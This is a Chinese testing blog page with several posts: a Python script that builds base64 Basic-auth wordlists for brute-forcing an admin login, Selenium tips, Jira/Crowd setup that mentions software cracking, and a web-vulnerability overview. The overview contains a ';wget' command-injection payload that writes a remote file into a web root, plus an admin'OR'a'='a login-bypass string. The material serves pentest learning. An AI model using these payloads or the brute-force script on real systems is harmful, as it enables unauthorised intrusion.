qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          爆破字典生成小腳本(新手學python)

          遇到一套系統,后臺管理登錄無驗證碼,準備爆破試試,burp抓到的包如下:
          GET /admin/ HTTP/1.1
          Host: www.nxadmin.com
          User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
          Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
          Accept-Encoding: gzip, deflate
          Connection: keep-alive
          If-Modified-Since: Wed, 07 May 2014 03:04:54 GMT
          If-None-Match: W/"37424//"
          Authorization: Basic MTExOjIyMg==
            發現有一串base64編碼處理的,解碼之后正是提交的 帳號:密碼的組合,只好寫個小腳本將已有的字典文件進行處理了,貼上代碼:
          #coding:utf-8
          import sys
          import base64
          if len(sys.argv)<3:
          print "Usage:"+" admincrack.py "+"userlist "+"passlist"
          sys.exit()
          def admincrack(userfile,passfile):
          uf=open(userfile,'r')
          pf=open(passfile,'r')
          for user in uf.readlines():
          #指定指針的位置,不指定只會遍歷userfile中的第一行
          pf.seek(0)
          for passwd in pf.readlines():
          user=user.strip("\r\n")
          passwd=passwd.strip("\r\n")
          hashvul=user+':'+passwd
          base64hash=base64.b64encode(hashvul)
          print user,passwd,base64hash
          if __name__=="__main__":
          admincrack(sys.argv[1],sys.argv[2])
            生成之后先將base64hash打印出來,就會構成intruder用到的字典,再將user,passwd,base64hash一起打印出來,構成后期爆破成功需要查詢對應帳號和密碼明文的字典。

          posted @ 2014-12-11 23:31 順其自然EVO 閱讀(359) | 評論 (0)編輯 收藏

          Webdriver定位不到元素的解決辦法

           不知道怎么回事,先前能跑動的case,現在元素始終找不到。
            但是我xpath是能定位得到的,debug了一下,結果發現在
            WebElementelement = locator.findElement();就卡住了。
            弄了好久也沒有成功。
            網上找例子:
            Selenium2(WebDriver)_如何判斷WebElement元素對象是否存在
            1.selenium中如果去尋找元素,而元素不存在的話,通常會拋出NoSuchElementException 導致測試失敗,但有時候,我們需要去確保頁面元素不存在,才是我們正確的驗收條件下面的方法可以用來判定頁面元素是否存在
              1 public boolean doesWebElementExist(WebDriver driver, By selector)
              2{
              3
              4         try
              5         {
              6                driver.findElement(selector);
              7                returntrue;
              8        }
              9        catch(NoSuchElementException e)
              10         {
              11                 return false;
              12         }
              13 }
            2.一般有這樣的應用場合,例如我們要驗證在一個網站是否登錄成功,那么可以通過判斷登錄之后是否顯示相應元素:
            WebElementlinkUsername =driver.findElement(By.xpath("http://a[contains(text(),"+username+")]"));
            return linkUsername.isDisplayed();
            這一方法的前提是:該元素之前已經存在,僅僅需要判斷是否被顯示。
            現在存在另一種場合,頁面元素并不存在,即通過driver.findElement只能在超時之后得到NoSuchElementException的異常。
            因此只好通過如下方法解決:
          1 boolean ElementExist (ByLocator )
          2{
          3 try
          4 {
          5 driver.findElement( Locator );
          6 returntrue;
          7}
          8 catch(org.openqa.selenium.NoSuchElementException ex)
          9{
          10     returnfalse;
          11 }
          12 }
            但這一方法仍然不理想,有這樣兩個問題:
            1、這一方法不屬于任何一個page頁,因此需要額外進行框架上的變更以支持這些功能函數,否則就必須在每一個用到該函數的page類寫一遍。
            2、仍然需要等到超時才能得知結果,當需要頻繁使用該函數的時候會造成相當的時間浪費。
            3.
            類似于seleniumRC中的isTextPresent方法
            用xpath匹配所有元素(//*[contains(.,'keyword')]),判斷是否存在包含期望關鍵字的元素。
            使用時可以根據需要調整參數和返回值。
          1 public boolean isContentAppeared(WebDriver driver,String content) {
          2       booleanstatus = false;
          3       try {
          4          driver.findElement(By.xpath("http://*[contains(.,'" + content +"')]"));
          5           System.out.println(content + "is appeard!");
          6           status = true;
          7       } catch (NoSuchElementException e) {
          8           status = false;
          9           System.out.println("'" +content + "' doesn't exist!"));
          10      }
          11      return status;
          12 }
            4. Xpath 多重判斷
            1 while(currentPageLinkNumber<MaxPage)
            2 {
            3 WebElement PageLink;
            4 PageLink = driver.findElement(By.xpath("http://a[@class = 'PageLink' and@title ='"+Integer.toString(currentPageLinkNumber+1)+"']"));
            5 PageLink.click();
            6 currentPageLinkNumber++;
            7 //OtherOperation();
            8 }
            然后又看了一篇文章
            selenium webdriver定位不到元素的五種原因及解決辦法
            1.動態id定位不到元素
            for example:
            //WebElement xiexin_element = driver.findElement(By.id("_mail_component_82_82"));
            WebElement xiexin_element = driver.findElement(By.xpath("http://span[contains(.,'寫  信')]"));
            xiexin_element.click();
            上面一段代碼注釋掉的部分為通過id定位element的,但是此id“_mail_component_82_82”后面的數字會隨著你每次登陸而變化,此時就無法通過id準確定位到element。
            所以推薦使用xpath的相對路徑方法查找到該元素。

           2.iframe原因定位不到元素
            由于需要定位的元素在某一個frame里邊,所以有時通過單獨的id/name/xpath還是定位不到此元素
            比如以下一段xml源文件:
          <iframe id="left_frame" scrolling="auto" frameborder="0" src="index.php?m=Index&a=Menu" name="left_frame" noresize="noresize" style="height: 100%;visibility: inherit; width: 100%;z-index: 1">
          <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">
          <html>
          <head>
          <body class="menuBg">
          <div id="menu_node_type_0">
          <table width="193" cellspacing="0" cellpadding="0" border="0">
          <tbody>
          <tr>
          <tr>
          <td id="c_1">
          <table class="menuSub" cellspacing="0" cellpadding="0" border="0" align="center">
          <tbody>
          <tr class="sub_menu">
          <td>
          <a href="index.php?m=Coupon&a=SearchCouponInfo" target="right_frame">密碼重置</a>
          </td>
          </tr>
            原本可以通過
            WebElement element = driver.findElement(By.linkText("密碼重置"));
            來定位此元素,但是由于該元素在iframe id="left_frame"這個frame里邊  所以需要先通過定位frame然后再定位frame里邊的某一個元素的方法定位此元素
            WebElement element =driver.switchTo().frame("left_frame").findElement(By.linkText("密碼重置"));
            3.不在同一個frame里邊查找元素
            大家可能會遇到頁面左邊一欄屬于left_frame,右側屬于right_frame的情況,此時如果當前處在
            left_frame,就無法通過id定位到right_frame的元素。此時需要通過以下語句切換到默認的content
            driver.switchTo().defaultContent();
            例如當前所在的frame為left_frame
            WebElement xiaoshoumingxi_element = driver.switchTo().frame("left_frame").findElement(By.linkText("銷售明細"));
            xiaoshoumingxi_element.click();
            需要切換到right_frame
            driver.switchTo().defaultContent();
            Select quanzhong_select2 = new Select(driver.switchTo().frame("right_frame").findElement(By.id("coupon_type_str")));
            quanzhong_select2.selectByVisibleText("售后0小時");
            4.  xpath描述錯誤
            這個是因為在描述路徑的時候沒有按照xpath的規則來寫 造成找不到元素的情況出現
            5.點擊速度過快  頁面沒有加載出來就需要點擊頁面上的元素
            這個需要增加一定等待時間,顯示等待時間可以通過WebDriverWait 和util來實現
            例如:
            //用WebDriverWait和until實現顯示等待 等待歡迎頁的圖片出現再進行其他操作
            WebDriverWait wait = (new WebDriverWait(driver,10));
            wait.until(new ExpectedCondition<Boolean>(){
            public Boolean apply(WebDriver d){
            boolean loadcomplete = d.switchTo().frame("right_frame").findElement(By.xpath("http://center/div[@class='welco']/img")).isDisplayed();
            return loadcomplete;
            }
            });
            也可以自己預估時間通過Thread.sleep(5000);//等待5秒 這個是強制線程休息
            6.firefox安全性強,不允許跨域調用出現報錯
            錯誤描述:uncaught exception: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMNSHTMLDocument.execCommand]" nsresult: "0x80004005 (NS_ERROR_FAILURE)" location:
            解決辦法:
            這是因為firefox安全性強,不允許跨域調用。
            Firefox 要取消XMLHttpRequest的跨域限制的話,第一
            是從 about:config 里設置 signed.applets.codebase_principal_support = true; (地址欄輸入about:config 即可進行firefox設置)
            第二就是在open的代碼函數前加入類似如下的代碼: try { netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); } catch (e) { alert("Permission UniversalBrowserRead denied."); }
            最后看了乙醇的文章
          import java.io.File;
          importorg.openqa.selenium.By;
          importorg.openqa.selenium.WebDriver;
          importorg.openqa.selenium.chrome.ChromeDriver;
          importorg.openqa.selenium.support.ui.ExpectedCondition;
          importorg.openqa.selenium.support.ui.WebDriverWait;
          public classButtonDropdown {
          public static voidmain(String[] args) throws InterruptedException {
          WebDriver dr = newChromeDriver();
          File file = newFile("src/button_dropdown.html");
          String filePath = "file:///" + file.getAbsolutePath();
          System.out.printf("nowaccesss %s \n", filePath);
          dr.get(filePath);
          Thread.sleep(1000);
          //      定位text是watir-webdriver的下拉菜單
          //      首先顯示下拉菜單
          dr.findElement(By.linkText("Info")).click();
          (newWebDriverWait(dr, 10)).until(new ExpectedCondition<Boolean>(){
          public Booleanapply(WebDriver d){
          returnd.findElement(By.className("dropdown-menu")).isDisplayed();
          }
          });
          //      通過ul再層級定位
          dr.findElement(By.className("dropdown-menu")).findElement(By.linkText("watir-webdriver")).click();
          Thread.sleep(1000);
          System.out.println("browser will be close");
          dr.quit();
          }
          }
            然后我自己定位的。
          public XiaoyuanactivityPage zipaixiuye(){
          driver.navigate().refresh();
          luntan.click();
          WebDriverWrapper.waitPageLoad(driver,3);
          (new WebDriverWait(driver, 10)).until(newExpectedCondition<Boolean>() {
          public Boolean apply(WebDriverdriver){
          returndriver.findElement(By.className("TFB_sub_li")).isDisplayed();
          }
          });
          driver.findElement(By.className("TFB_sub_li")).findElement(By.linkText("自拍秀")).click();
          returnPageFactory.initElements(this.getDriver(),
          XiaoyuanactivityPage.class);
          }
            總算成功了,成功來得真不容易啊!
            我現在還是不明白我之前的方法為什么開始可以,后面就不行了。
            但是我現在也不去探究了,我自己的問題已經解決了。
            謝謝分享文章的朋友。

          posted @ 2014-12-11 23:30 順其自然EVO 閱讀(16323) | 評論 (0)編輯 收藏

          Jira5.0.2與Crowd2.4.2應用集成

           前提是,你已經安裝了jira與crowd(由于ldap部分其實就是crowd與ldap的集成,所以不在復述《Jira與crowd通信設置》) 請先看完《Crowd2.4.2安裝破解》,《Jira5.0安裝及破解》兩篇文章
            新版本jira、crowd集成與以往有些不一樣,首先就是配置文件的修改沒有以前多了,然后就是在jira內需要設置一個應用目錄,記得這個簡單的地方也許就不好找。這篇文章你就多看點吧。的確寫的很不好,不過如果你以前對jira有大致的了解,那看我很不好的文采文章,就能相對簡單了。
            1.    創建Directories,一般把Name改寫,直接默認就可以了
            2.    添加組、用戶等信息,應該就不用說了,如果不清楚,可以查看《Jira與crowd通信設置》  http://kinggoo.com/app-jira-crowd-confluence-ldap.htm 或者看下面的簡單步驟。
            記得,如果是jira與crowd集成那還需要在jira內設置開外部密碼、外部用戶管理,以及API(當然這是以前的做法了)
            1)    一些配置的修改:
            cp  /usr/local/crowd/client/crowd-integration-client-2.4.2.jar/usr/local/jira/atlassian-jira/WEB-INF/lib/cp  /usr/local/crowd/client/conf/crowd.properties /usr/local/jira/atlassian-jira/WEB-INF/classes/cp  /usr/local/crowd/client/conf/crowd-ehcache.xml /usr/local/jira/atlassian-jira/WEB-INF/classes/
            1.    修改配置文件crowd.properties
            [root@kinggoo conf]# vim ~/guanli/jira/atlassian-jira/WEB-INF/classes/crowd.propertiesapplication.name kinggoo-jira #在crowd中建立應用名稱(小寫)application.password arij #在crowd中建立這個應用時的密碼application.login.url http://localhost:8095/crowd/console/crowd.server.url http://localhost:8095/crowd/services/ session.isauthenticated session.isauthenticated session.tokenkey session.tokenkey session.validationinterval 0 session.lastvalidation session.lastvalidation
            2.    查看配置文件propertyset.xml
            看此文件內是否有添加下面內容,如無,則添加
            <propertysetname="crowd"class="com.atlassian.crowd.integration.osuser.CrowdPropertySet"/>
            3.    修改配置文件seraph-config.xml
            <!-- CROWD:START - If enabling Crowd SSO integration uncomment the following JIRAAuthenticator and comment out the DefaultAuthenticator below -->去掉此處注釋<authenticatorclass="com.atlassian.crowd.integration.seraph.v22.JIRAAuthenticator"/><!-- CROWD:END -->< -------------------下面是添加注釋的 --------------><!-- CROWD:START - The authenticator below here will need to be commented out for Crowd SSO integration -->< !—在此處添加此處注釋<authenticatorclass="com.atlassian.jira.security.login.JiraOsUserAuthenticator"/>--><!-- CROWD:END -->

            好如果都配置完畢,那就請重啟jira服務吧!啟動好后如果后臺日志沒問題
            Jira內創建目錄:
            a)    使用安裝jira時創建的帳號登陸jira,接著點擊頁面右上角的Administrators,這時會讓你再次輸入密碼;
            b)    在頁面USER標簽里找到User Directories  并點擊進入;
            c)    再次點擊Add Directories 空件,如圖第一、第二個圖是點擊后樣式。
            d)    我現在選擇,Crowd的下拉菜單。當然,如果你直接就做的ldap的那你可以選擇;
            e)    不多說,看圖,同事間隔是亮點
            f)    配置好后,保存,這時你在看你的用戶,是不是已經從crowd內同步過來了
            隨便拿個帳號實驗一下,在crowd內添加修改等!

          posted @ 2014-12-11 23:29 順其自然EVO 閱讀(216) | 評論 (0)編輯 收藏

          關于測試的只言片語

            對于測試人員來說,對軟件能否實現預期的功能是測試的重點。除了功能測試之外,根據用戶或者客戶的需求,在有的產品或者項目中,可能還會有性能測試、安全測試等。盡管有很多不同的測試內容,但總結出來可以歸納為兩種類型:
            一種是可以依據具體指標驗證的測試,例如功能測試,某個功能有沒有實現,功能是否正確實現,我們都可以有一個明確的依據進行參考確認,再比如性能測試,在指定的環境、指定的條件,系統是否達到了指定的性能指標,都有量化的數據可以驗證。這種可以依據具體指標驗證的功能,無論是對于開發人員去實現,或者是對于測試人員進行驗證,都是可以做到具體化,便于開發,也便于測試。
            還有一種測試類型,就是不便于通過量化的指標進行測試。如顏色、樣式、按鈕的大小和位置。比如顏色的設置,客戶對某個界面的顏色要求是紅色的,開發人員根據自己的理解可能設計為深紅色,而測試人員在測試的時候根據自己的經驗覺得淺紅色更適合。這樣測試和開發在對顏色的認識和理解上不一致,就可能都沒法說服對方,沒法達成一致的共識,增加溝通的時間,降低項目的研發效率。
            以上關于功能和界面方面的測試都只是我們測試中一小部分的內容,還有其它方面的內容只是可能我們還沒有接觸到。玩過微信搖一搖的朋友都知道,我們在進入搖一搖界面搖動手機的時候,會收到到一個來福槍的聲音。我想,在最初開發搖一搖功能的時候,肯定也不是來福槍的音效,肯定也是在很多種聲音中經過篩選并通過使用驗證后才最終確定下來的。那么,對于類似這樣的音效,是否需要測試呢?如果需要測試,作為測試人員,又該拿什么標準來測試嗎?仍然以微信搖一搖功能為例,搖一搖的界面很簡單,沒有文字說明告訴用戶這個功能的作用是什么,也沒提醒用戶怎么去使用,但是,作為一個初次打開該功能的用戶,看到搖一搖的圖片都會下意識的去搖動一下。而這樣的設計的初衷,都是力求簡單。假設我們也在微信項目組,在微信剛開始研發的階段,其中關于搖一搖功能的要求,有一項要求是界面簡單,易于學習和操作。而這個需求肯定是沒法進行量化的,不同的人有不同的理解,那作為測試人員,怎么去對這個需求進行測試是一個需要考慮的問題。
            之前有看過一篇報道,是關于深圳一座摩天大樓被發現使用了海沙(攪拌和混凝土所用的沙,是來自海邊且未經過處理的海沙,而非一般常用的河沙,海沙鹽分含量高,容易對鋼筋產生腐蝕,進而影響到建筑物的使用壽命),后來是被相關部門勒令整改,并對當時使用海沙的部分做了技術處理。后來的處理結果怎么樣,沒去關注,關注的是摩天大樓作為一個硬件工程,建設過程中如果有了缺陷,怎么去修復,對于這樣影響到工程質量的缺陷,又該怎么樣去預防。摩天大樓不像軟件產品,出現了缺陷對有問題的代碼做重新編寫就能夠解決問題,考慮到時間成本和費用成本,對摩天大樓推到重建的可能性很小,除非有很重大的問題。
            摩天大樓等硬件工程的建設和軟件產品的研發,雖然過程都不一樣,但都有一個共通的東西,那就是質量的保證。怎么樣將硬件產品的質量控制方法借鑒到軟件工程的質量控制,是一個值得學習的過程。平時注意觀察的話,可以發現生活中有很多場景需要測試工作的介入,或者用到測試思維。

          posted @ 2014-12-11 23:27 順其自然EVO 閱讀(183) | 評論 (0)編輯 收藏

          滲透測試必知必會—Web漏洞

          0x00前言
            本文為對WEB漏洞研究系列的開篇,日后會針對這些漏洞一一研究,敬請期待
            0x01 目錄
            0x00 前言
            0x01 目錄
            0x02 OWASP TOP10 簡單介紹
            0x03 烏云TOP 10 簡單介紹
            0x04 非主流的WEB漏洞
            0x02 OWASP TOP10 簡單介紹
            除了OWASP的TOP10,Web安全漏洞還有很多很多,在做測試和加固系統時也不能老盯著TOP10,實際上是TOP10中的那少數幾個
            直接說2013的:
            A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常見,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于現在自動化工具非常多,通常都是找到注入點后直接交給以sqlmap為代表的工具
            命令注入相對來說出現得較少,形式可以是:
            https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
            也可以查看案例:極路由云插件安裝shell命令注入漏洞 ,未對用戶輸入做任何校驗,因此在web端ssh密碼填寫處輸入一條命令`dropbear`便得到了執行
            直接搜索LDAP注入案例,簡單嘗試下并沒有找到,關于LDAP注入的相關知識可以參考我整理的LDAP注入與防御解析。雖然沒有搜到LDAP注入的案例,但是重要的LDAP信息 泄露還是挺多的,截至目前,烏云上搜關鍵詞LDAP有81條記錄。
            PHP對象注入:偶然看到有PHP對象注入這種漏洞,OWASP上對其的解釋為:依賴于上下文的應用層漏洞,可以讓攻擊者實施多種惡意攻擊,如代碼注入、SQL注入、路徑遍歷及拒絕服務。實現對象注入的條件為:1) 應用程序必須有一個實現PHP魔術方法(如 __wakeup或 __destruct)的類用于執行惡意攻擊,或開始一個"POP chain";2) 攻擊中用到的類在有漏洞的unserialize()被調用時必須已被聲明,或者自動加載的對象必須被這些類支持。PHP對象注入的案例及文章可以參考WordPress < 3.6.1 PHP 對象注入漏洞。
            在查找資料時,看到了PHP 依賴注入,原本以為是和安全相關的,結果發現:依賴注入是對于要求更易維護,更易測試,更加模塊化的代碼的解決方案。果然不同的視角,對同一個詞的理解相差挺多的。
            A2: 失效的身份認證及會話管理,乍看身份認證覺得是和輸入密碼有關的,實際上還有會話id泄露等情況,注意力集中在口令安全上:
            案例1:空口令
            烏云:國內cisco系列交換機空密碼登入大集合
            烏云:UC某服務器可空口令訪問數據庫
            案例2:弱口令
            烏云:盛大某站后臺存在簡單弱口令可登錄  admin/admin
            烏云:電信某省客服系統弱口令泄漏各種信息 .../123456
            烏云:中國建筑股份有限公司OA系統tomcat弱口令導致淪陷  tomcat/tomcat
            案例3:萬能密碼
            烏云:移動號碼上戶系統存在過濾不嚴  admin'OR'a'='a/admin'OR'a'='a (實際上仍屬于SQL注入)
            弱口令案例實在不一而足
            在烏云一些弱口令如下:其中出鏡次數最高的是:admin/admin, admin/123456

           如果要繼續深究下去或者取得更多數據進行分析的話,結局就會如豬豬俠總結的那樣:
            當然會話存在的安全問題也是需要考慮的,可以是令牌、token被竊取,尤其當會話沒有設置生命周期時很容易出現會話/身份被劫持
            會話管理問題可以是用戶A登陸了某個地址,但是沒有注銷(奇葩情況是注銷無效),直接退出了瀏覽器又沒有清除cookie,如果說這時候有B借用A的電腦,他直接以A的身份登陸該地址是沒有問題的,這不是服務端的問題。但假設之后A都沒有訪問改地址,而是把電腦合上待機了,第二天如果B借用他的電腦直接登陸了該地址,則責任在于服務端的會話管理不當,沒有設置超時時間。除此之外,還有會話重放、會話信息泄露等問題。說到會話信息泄露,不禁想起將sessionid放在URL中的情形,鄙人暫未遇到直接利用這個可以竊取會話的,但不排除其可能
            A3: 跨站腳本(XSS),最普遍的漏洞,曾被認為是雞肋漏洞,事實證明有時候危害很大的,竊取cookie,構造蠕蟲不一而足。XSS的技術體現在Javascript功底上,現在很多網站都有針對XSS的過濾器,J2EE可以使用全局過濾器,但是過濾器基本都是使用黑名單設防,是有可能繞過的,回應了技術體現在Javascript功底上。跨站腳本還有flash類型的,由于相比之下出現得比較少,瀏覽器和過濾器的防御精力不在這上面,如果出現可能更容易成功。值得一提的是,對于XSS,現在的掃描工具都會將其標識為高危漏洞,實際上掃描器根據返回的響應中是否有加入的載荷來判斷跨站腳本漏洞存在的可能性,誤報率會比較高。還有就是常規掃描器只能識別反射型XSS,反射型XSS本身危害是比較小的,存儲型XSS危害才大(危害大小看具體情況)。反射型XSS現在常規payload要想過IE10、IE11或chrome還是有難度的,因此XSS技術的另一個體現方面即是對瀏覽器特性的了解。至于存儲型XSS,則要看具體業務和數據是否會受影響,用戶交互程度越高,利用難度就越大,如果能彈框證實漏洞存在,但很難被觸發或者就算竊取到cookie也無法登陸,很難說明是高風險安全問題,但還是有修復和改進的必要。
            A4: 不安全的直接對象引用,訪問控制不當的問題,常見為越權操作(橫向+縱向),譬如:遍歷用戶id批量獲取用戶信息、在HTTP請求中篡改某個參數的值就變成了其他身份進行的操作,最激動人心的是可以進行刷錢等操作。越權問題并不高深,相比SQL注入和XSS技術難度還要低一點,因為通常只要改參數值就可以了(一般來說)。防止此類問題的做法很簡單,當用戶需要訪問某資源或進行操作時,服務器端取出來訪用戶的session值,判斷是否具有訪問或操作權限。
            在訪問控制操作中,我們可以設定某一資源或文件A可以訪問、B不能訪問,但是當對應的用戶多起來時也會遇到麻煩。也可以為用戶訪問資源或文件標志一個權限,作為一個會話屬性,屬于自己的才可以操作或訪問,具體情況具體討論。
            案例1:水平越權
            烏云:虎撲某功能存在水平越權
            案例2: 垂直越權
            烏云:中國電信某系統管理員WEB界面越權訪問
            A5-A7\A9: 安全配置錯誤\敏感數據泄露\功能級訪問控制缺失\使用含已知漏洞的組件=>運維不當,直接看運維不當的
            知乎專欄:運維安全(...)
            烏云知識庫:從烏云看運維安全那點事兒
            引用一下知識庫的內容,問題有:
            struts漏洞
            Web服務器未及時打補丁,有解析漏洞
            PHP-CGI RCE
            FCK編輯器
            server-status信息泄露
            網站備份文件放在web目錄,可被下載
            列目錄導致可看到敏感數據并查看
            snmp信息泄露
            weblogic弱口令
            SVN信息泄露
            域傳送漏洞
            Rsync
            hadoop對外
            nagios信息泄露
            ftp弱口令或支持匿名訪問導致信息泄露
            RTX泄露信息
            Ganglia信息泄露
            j2ee應用架構開始占主流,典型的web服務器搭配配置失誤
            Jenkins平臺沒有設置登錄驗證
            zabbix
            zenoss監控系統
            Resin文件讀取
            memcache未限制訪問IP
            JBoss問題
            測試服務器外網可訪問
            padding oracle attack
            用戶名密碼放在服務器上……
            A8: 跨站請求偽造(CSRF)
            CSRF曾被稱為沉睡的巨人,以前拿來舉例時都是說Alice給Bob轉錢,結果morry插了一腳,錢就跑到morry家去了。危害可大可小,直接通過URL增刪改操作的也還有,更多的還是基于表單。如果是XSS+CSRF =>蠕蟲 就比較可觀了,也曾看到過直接get root的案例
          案例:萬達電影主站 xss + csrf
            A10: 無效的重定向
            控制重定向可以釣魚,可以獲取敏感文件的信息,在struts2中也有開放重定向的命令執行
            0x03 烏云TOP 10 簡單介紹
            上述就是OWASP TOP10的WEB漏洞,烏云出了一個更加符合中國國情的 烏云:Top10 for 2014,看著也是觸目驚心
            A1-互聯網泄密事件/撞庫攻擊
            本質上來說是使用了不安全的口令,也許我可以將自己的密碼設置的很復雜,別人破解不出來。但對于撞庫攻擊而言,可以說是不怕神一樣的對手,就怕豬一樣的隊友。我們注冊使用的網站或服務商他們保存了我們使用的密碼,而很多時候被泄露出去了我們并不知道。這也是考驗我們密碼習慣的時候了,強密碼+不同的密碼,當然密碼多了也難以記住,不行就借助軟件或者普通賬號用同一個密碼,重要賬號用不同密碼吧
            A2-引用不安全的第三方應用
            舉的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也還數見不鮮,其次就是CMS如wordpress使用的插件,當然shellshock也會有很多中槍的
            A3-系統錯誤/邏輯缺陷帶來的暴力猜解
            暴力破解:沒對請求和錯誤次數做限制;重放攻擊同樣是沒做檢驗或限制
            A4-敏感信息/配置信息泄露
            包括但不限于目錄遍歷、日志、配置文件、svn目錄、github或其他博客等地方
            A5-應用錯誤配置/默認配置
            包括但不限于默認路徑、默認口令、目錄穿越、任意文件下載等
            A6-SQL注入漏洞
            A7-XSS跨站腳本攻擊/CSRF
            A8-未授權訪問/權限繞過
            可匿名訪問\判斷referer值后免登陸
            A9-賬戶體系控制不嚴/越權操作
            A10-內部重要資料/文檔外泄
            還是信息泄露,但是做了區分,不同于應用或服務器的信息泄露,專指內部信息泄露喲
            0x04 非主流的WEB漏洞
            實際上,如果要挖漏洞或者做測試,從烏云上找案例會比較方便,除了常見的幾類代碼層面的問題,更多的是配置不當方面的,最終歸結到信息安全鏈上最脆弱的還是人本身
            除了上面提到的這些,其實還有很多的漏洞啊,跟設備有關系的就先不說了,再提一下兩個看起來不錯的:XXE、SSRF(or XSPA)
            XXE:XML外部實體注入,不僅僅是敏感信息泄露,騰訊安全中心:XXE漏洞攻防
            案例:
            1. 烏云:百度某功能XML實體注入
            2. 烏云:139郵箱XXE漏洞可讀取文件
            3. 烏云:從開源中國的某XXE漏洞到主站shell
            SSRF(服務端請求偽造): 據說用這招可以成功多次進入阿里、騰訊、百度等的內網,沒爆出來的估計很多被用作殺器了
            案例:
            1. 烏云:百度貼吧SSRF
            2. 烏云:新浪SSRF
            3. 烏云:阿里巴巴SSRF
            上面幾個案例有的是分享功能,有的是其他功能,共同點在于都是跟的url參數,且沒做限制,導致內網信息泄露
            (未完...)

          posted @ 2014-12-11 23:26 順其自然EVO 閱讀(3969) | 評論 (0)編輯 收藏

          QUnit單元測試文檔

          QUnit.test( "hello test", function ( assert ) {
          assert.ok( 1 == "1", "Passed!" );
          } )
            //綜述
          var test = [
          "QUnit.asyncTest()",//Add an asynchronous test to run. The test must include a call to QUnit.start().
          "QUnit.module()", //Group related tests under a single label. 一個標簽下的組相關測試
          "QUnit.test()" //Add a test to run.
          ],
          assertProperties = [
          "deepEqual",//深度遞歸比較,基本類型,數組、對象、正則表達式、日期和功能
          "notDeepEqual",
          "equal",
          "notEqual",
          "strictEqual",//嚴格比較 值和類型
          "strictEqual",
          "propEqual",//用于嚴格對比對象 包括對象的值、屬性的數據類型 (類似== 和===的差別)
          "notPropEqual",
          "expect",//期望(數量)注冊一個預期的計數。如果斷言運行的數量不匹配預期的統計,測試就會失敗。
          "ok",// 一個布爾檢查
          "push",//輸出封裝的JavaScript函數返回的結果報告
          "throws"http://測試如果一個回調函數拋出一個異常,并有選擇地比較拋出的錯誤。
          ],
          asyncControl = [
          "asyncTest", // QUnit測試異步代碼。asyncTest將自動停止測試運行器,等待您的代碼調用QUnit.start()繼續。
          "start", //Start running tests again after the testrunner was stopped
          "stop"  //當異步測試有多個出口點,使用QUnit.stop 增加解除test runner等待 應該調用QUnit.start()的次數。
          ],
          callbackHandlers = [
          "begin",
          "done",
          "log",
          "moduleStart",
          "moduleDone",
          "testStart",
          "testDone"
          ],
          Configuration = [
          "assert",
          "config",
          "QUnit.dump.parse()",
          "QUnit.extend() "
          ];
           //region test
          QUnit.test( "a test", function ( assert ) {
          function square( x ) {
          return x * x;
          }
          var result = square( 2 );
          assert.equal( result, 4, "square(2) equals 4" );
          } );
          QUnit.asyncTest( "asynchronous test: one second later!", function ( assert ) {
          assert.expect( 1 );
          setTimeout( function () {
          assert.ok( true, "Passed and ready to resume!" );
          QUnit.start();
          }, 1000 );
          } );
          //endregion
            //region assert 斷言
          //deepEqual   對應notDeepEqual() 深度遞歸比較,基本類型,數組、對象、正則表達式、日期和功能
          QUnit.test( "deepEqual test", function ( assert ) {
          var obj = { foo : "bar" };
          assert.deepEqual( obj, { foo : "bar" }, "Two objects can be the same in value" );
          } );
          QUnit.test( "notDeepEqual test", function ( assert ) {
          var obj = { foo : "bar" };
          assert.notDeepEqual( obj, { foo : "bla" }, "Different object, same key, different value, not equal" );
          } );
          //equal 對應notEqual()
          QUnit.test( "a test", function ( assert ) {
          assert.equal( 1, "1", "String '1' and number 1 have the same value" );
          assert.equal( 0, 0, "Zero, Zero; equal succeeds" );
          assert.equal( "", 0, "Empty, Zero; equal succeeds" );
          assert.equal( "", "", "Empty, Empty; equal succeeds" );
          assert.equal( "three", 3, "Three, 3; equal fails" );
          assert.equal( null, false, "null, false; equal fails" );
          } );
          QUnit.test( "a test", function ( assert ) {
          assert.notEqual( 1, "2", "String '2' and number 1 don't have the same value" );
          } );
          //strictEqual()  notStrictEqual()
          QUnit.test( "strictEqual test", function ( assert ) {
          assert.strictEqual( 1, 1, "1 and 1 have the same value and type" );
          } );
          QUnit.test( "a test", function ( assert ) {
          assert.notStrictEqual( 1, "1", "String '1' and number 1 have the same value but not the same type" );
          } );
          //propEqual notPropEqual 用于嚴格對比對象 包括對象的值、屬性的數據類型 (equal和propEqual 類似== 和===的差別)
          QUnit.test( "notPropEqual test", function ( assert ) {
          function Foo( x, y, z ) {
          this.x = x;
          this.y = y;
          this.z = z;
          }
          Foo.prototype.doA = function () {
          };
          Foo.prototype.doB = function () {
          };
          Foo.prototype.bar = 'prototype';
          var foo = new Foo( 1, "2", [] );
          var bar = new Foo( "1", 2, {} );
          assert.notPropEqual( foo, bar, "Properties values are strictly compared." );
          } );
          //expect 期望(數量)注冊一個預期的計數。如果斷言運行的數量不匹配預期的統計,測試就會失敗。
          QUnit.test( "a test", function ( assert ) {
          assert.expect( 3 );
          function calc( x, operation ) {
          return operation( x );
          }
          var result = calc( 2, function ( x ) {
          assert.ok( true, "calc() calls operation function" );
          return x * x;
          } );
          assert.equal( result, 4, "2 squared equals 4" );
          } );
          //ok  一個布爾檢查
          QUnit.test( "ok test", function ( assert ) {
          assert.ok( true, "true succeeds" );
          assert.ok( "non-empty", "non-empty string succeeds" );
          assert.ok( false, "false fails" );
          assert.ok( 0, "0 fails" );
          assert.ok( NaN, "NaN fails" );
          assert.ok( "", "empty string fails" );
          assert.ok( null, "null fails" );
          assert.ok( undefined, "undefined fails" );
          } );
          //push() 輸出封裝的JavaScript函數返回的結果報告
